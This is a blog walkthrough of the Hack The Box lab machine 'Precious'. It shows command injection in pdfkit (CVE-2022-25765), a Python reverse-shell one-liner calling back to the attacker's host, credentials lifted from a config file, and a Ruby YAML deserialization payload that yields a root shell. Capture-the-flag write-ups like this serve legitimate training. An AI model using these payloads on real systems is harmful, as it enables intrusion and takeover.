22 May 2023

Hack The Box Precious Walkthrough

A walkthrough of Hack The Box's Precious

Will Lindsey
Will Lindsey Information System Security Officer LinkedIn

Hack the Box is one of the cybersecurity upskilling platforms I use for professional development. Roughly once a week, Hack the Box releases a new vulnerable box for users to hack. Additionally, one active box is retired every week. Below is a walkthrough on compromising the recently retired box, “Precious.”

Summary

Precious Hack The Box

“Precious,” is hosting a website that offers a service to convert webpages to PDFs. During my investigation, I discover a command injection vulnerability in the tool used for this purpose. Exploiting this vulnerability, I gain a foothold on the box. By manually enumerating the box, I come across credentials stored in a configuration file for the user “Henry.” “Henry” has the privilege to execute a ruby script as root. Exploiting a deserialization vulnerability in this ruby script, I successfully obtain a root shell.

Port Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80).

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -sC -sV  10.10.11.189 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 13:32 EDT
Nmap scan report for 10.10.11.189
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -p- 10.10.11.189 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 06:56 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.58 seconds

The web server redirects to http://precious.htb.

Foothold

I add the domain precious.htb to /etc/hosts. This will allow me to enumerate the website.

Navigating to http://precious.htb in my browser I see I have the ability to convert a website to a PDF.

home

I set up a local web server hosting a simple page to explore this “Convert Web Page to PDF” feature.

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ echo "Hello World" > index.html
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...

test

The website returns a pdf of my simple webpage. Looking at the file properties I see pdfkit v0.8.6 was used to create the pdf.

test

CVE-2022-25765

Using google, I find that pdfkit v0.8.6 appears to be vulnerable to CVE-2022-25765. This particular CVE has a high EPSS score and CVSS score, increasing my confidence that it is the intended path to obtaining a foothold on the box.

EPSS: .092

EPSS Percentile: .94

CVSS Score: 9.8

KEV Catalog: No

Following the links provided by NVD above, I am able to find a POC for the vulnerability.

Vulnerability Description

An application could be vulnerable to a command injection if it tries to render a URL that contains query string parameters with user input.

PoC

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf

Adjusting the PoC I get RCE with the following url.

http://10.10.14.8:9713/?name={%20`pwd`}

poc_test

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...
10.10.11.189 - - [08/Apr/2023 15:39:07] "GET /?name=%7B%20/var/www/pdfapp%7D HTTP/1.1" 200 -

Enumerating applications I find python is available. I am able to get a remote shell with the following crafted url.

 http://10.10.14.8:9713/?name={%20` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",9267));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`}

reverse_shell

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nc -lvnp 9267        
listening on [any] 9267 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.189] 40120
/bin/sh: 0: can't access tty; job control turned off
$ whoami 
ruby
$ hostname
precious
$ 

User

Upgrading my shell and manually enumerating the box. I find credentials for Henry.

$ python3 -c 'import pty; pty.spawn("/bin/bash");'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended  nc -lvnp 9267
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ stty raw -echo; fg % 1                                              
[1]  + continued  nc -lvnp 9267
                               export TERM=screen
ruby@precious:/var/www/pdfapp$ 
ruby@precious:/var/www/pdfapp$ cd ~
ruby@precious:~$ pwd
/home/ruby
ruby@precious:~$ ls
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Apr  8 14:30 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr  8 14:30 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Using the above credentials I can ssh into the box as henry.

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ ssh henry@10.10.11.189             
henry@10.10.11.189s password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr  8 14:57:31 2023 from 10.10.14.8
henry@precious:~$ 

Root

Listing the commands I can run as sudo I see I can run update_dependencies.rb as root.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looking at update_dependencies.rb I see it call YAML.load(). In this instance YAML.load is vulnerable to a deserialization attacks.

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Saving the following maliciously crafted yml file as dependencies.yml I will obtain root privileges.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
henry@precious:/dev/shm/.htbuser$ vi dependencies.yml 
henry@precious:/dev/shm/.htbuser$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
henry@precious:/dev/shm/.htbuser$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/dev/shm/.htbuser# whoami
root
root@precious:/dev/shm/.htbuser# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

“Precious” is an example of one of the many intriguing challenges available on Hack the Box. I intend to publish walkthroughs of future retired boxes as I continue using the platform to broaden my knowledge.

If you have any questions, or would like to discuss this topic in more detail, feel free to contact us and we would be happy to schedule some time to chat about how Aquia can help you and your organization.

Categories

capture-the-flag